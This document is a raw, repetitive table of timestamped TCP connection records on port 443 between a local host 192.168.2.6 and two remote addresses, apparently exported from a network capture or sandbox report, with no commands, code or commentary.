Oct 30, 2024 11:45:17.690479994 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.690489054 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.699182034 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.699337006 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.699345112 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.707890034 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.708022118 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.708030939 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.716711044 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.716777086 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.716785908 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.725617886 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.725728989 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.725738049 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.735117912 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.735196114 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.735204935 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.744024992 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.744122028 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.744131088 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.790666103 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.791177988 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.791193008 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.791646004 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.791651964 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.796993017 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.797002077 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.803867102 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.803930998 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.803965092 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.804020882 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.804020882 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.804033995 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.804436922 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.804518938 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.804528952 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.805561066 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.805645943 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.805716038 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.805725098 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.805794954 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.806294918 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.807461023 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.808020115 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.808032036 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.808449030 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.808453083 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.810281038 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.810373068 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.810446978 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.810456038 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.810489893 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.815793037 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.816385984 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.816922903 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.816935062 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.817380905 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.817385912 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.822604895 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.822671890 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.822798967 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.822809935 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.822885036 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.830003023 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.835374117 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.835458994 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.835545063 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.835553885 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.835635900 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.841348886 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.847485065 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.847651005 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.847745895 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.847757101 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.847805023 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.853498936 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.859433889 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.859621048 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.859700918 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.859711885 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.859783888 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.864608049 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.866419077 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.866461039 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.866859913 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.866868973 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.867306948 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.871665955 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.871751070 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.871843100 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.871853113 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.871926069 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.877760887 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.883691072 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.886265039 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.886274099 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.921993017 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.922210932 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.922302008 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.922333956 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.922344923 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.922363043 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.923691034 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.923775911 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.923842907 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.923852921 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.923912048 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.923919916 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.925566912 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.925816059 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.925899029 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.926114082 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.926127911 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.926137924 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.926142931 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.926167965 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.927804947 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.927875042 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.927885056 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.927984953 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.928742886 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.929069996 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.929089069 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.929158926 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.929554939 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.929567099 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.935269117 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.936453104 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.936579943 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.936589956 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.936636925 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.941807032 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.941984892 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.942091942 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.942101955 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.942193985 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.942523956 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.942590952 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.942792892 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.942800999 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.942809105 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.942812920 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.945046902 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.945061922 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.945123911 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.945251942 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.945261955 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.948273897 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.948335886 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.948345900 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.953814030 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.954077005 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.954087019 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.955399036 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.955698013 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.955763102 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.958481073 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.958497047 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.958507061 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.958513021 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.959419966 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.960869074 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.960961103 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.960971117 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.961065054 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.964091063 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.964112997 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.964232922 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.964402914 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.964420080 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.965698004 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.971725941 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.974112034 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.974127054 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.977859974 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.978051901 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.978060961 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.983968019 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.984169960 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.984185934 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.989866972 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.989955902 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.990026951 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.990037918 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.990103006 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.990112066 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:18.009598970 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.009774923 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.010035992 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.010083914 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.010083914 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.010104895 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.010113955 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.012607098 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.012626886 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.012697935 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.012851000 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.012865067 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.031336069 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:18.031343937 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:18.032593012 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:18.032718897 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:18.032795906 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:18.058562040 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.083224058 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.083282948 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.083681107 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.083698034 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.215500116 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.215572119 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.215658903 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.215883970 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.215898991 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.215913057 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.215918064 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.219363928 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.219384909 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.219475985 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.219683886 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.219696045 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.688760042 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.694489956 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.694523096 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.694994926 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.695002079 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.705816984 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.706413984 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.706424952 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.706914902 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.706918001 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.738810062 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.739490032 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.739505053 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.739924908 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.739929914 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.770267010 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.770724058 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.770730972 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.771357059 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.771362066 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.829106092 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.829250097 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.829319000 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.829389095 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.829411030 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.829425097 CET	49738	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.829432964 CET	443	49738	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.832124949 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.832150936 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.832214117 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.832380056 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.832391024 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.843177080 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.843434095 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.843548059 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.844182014 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.844187021 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.844203949 CET	49739	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.844208002 CET	443	49739	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.847115040 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.847131014 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.847198009 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.847325087 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.847332001 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.878789902 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.879091024 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.879156113 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.879184961 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.879199028 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.879215002 CET	49740	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.879220009 CET	443	49740	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.881985903 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.882000923 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.882054090 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.882191896 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.882201910 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.909399033 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.909667969 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.909826994 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.909852028 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.909862995 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.909877062 CET	49742	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.909882069 CET	443	49742	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.912075043 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.912120104 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.912282944 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.912401915 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.912414074 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.974236012 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.974623919 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.974654913 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:18.975076914 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:18.975081921 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.117224932 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.117295980 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.117479086 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.117513895 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.117532969 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.117547989 CET	49746	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.117553949 CET	443	49746	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.120260000 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.120282888 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.120340109 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.120488882 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.120501041 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.602725983 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.603435040 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.603445053 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.603981972 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.603987932 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.626029968 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.626667976 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.626684904 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.627300978 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.627305984 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.640671968 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.641155005 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.641180992 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.641688108 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.641695023 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.716245890 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.716708899 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.716739893 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.717149973 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.717155933 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.744927883 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.745157003 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.745209932 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.745373011 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.745390892 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.745403051 CET	49747	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.745409012 CET	443	49747	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.748518944 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.748562098 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.749030113 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.749030113 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.749061108 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.760905981 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.761024952 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.761065006 CET	49749	443	192.168.2.6	13.107.253.45
